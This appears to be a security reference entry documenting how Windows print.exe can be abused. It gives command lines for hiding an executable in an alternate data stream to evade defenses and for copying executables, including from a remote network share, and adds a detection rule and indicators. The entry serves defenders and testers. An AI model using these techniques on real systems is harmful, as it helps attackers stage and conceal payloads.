Print.exe

type: OSBinaries

Used by Windows to send files to the printer

Full path

C:\Windows\System32\print.exe
C:\Windows\SysWOW64\print.exe

Commands

ADSUser T1564.004
Hide binary file in alternate data stream to potentially bypass defensive counter measures
```
print /D:{PATH_ABSOLUTE}:file.exe {PATH_ABSOLUTE:.exe}
```
Copy file.exe into the Alternate Data Stream (ADS) of file.txt.
os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
CopyUser T1105
Copy files
```
print /D:{PATH_ABSOLUTE:.dest.exe} {PATH_ABSOLUTE:.source.exe}
```
Copy file from source to destination
os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
CopyUser T1105
Copy/Download file from remote server
```
print /D:{PATH_ABSOLUTE:.dest.exe} {PATH_SMB:.source.exe}
```
Copy File.exe from a network share to the target c:\OutFolder\outfile.exe.
os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

Detection

Sigma https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_print_remote_file_copy.yml
IOCPrint.exe retrieving files from internet
IOCPrint.exe creating executable files on disk

Resources

acknowledgement: Oddvar Moe @oddvarmoe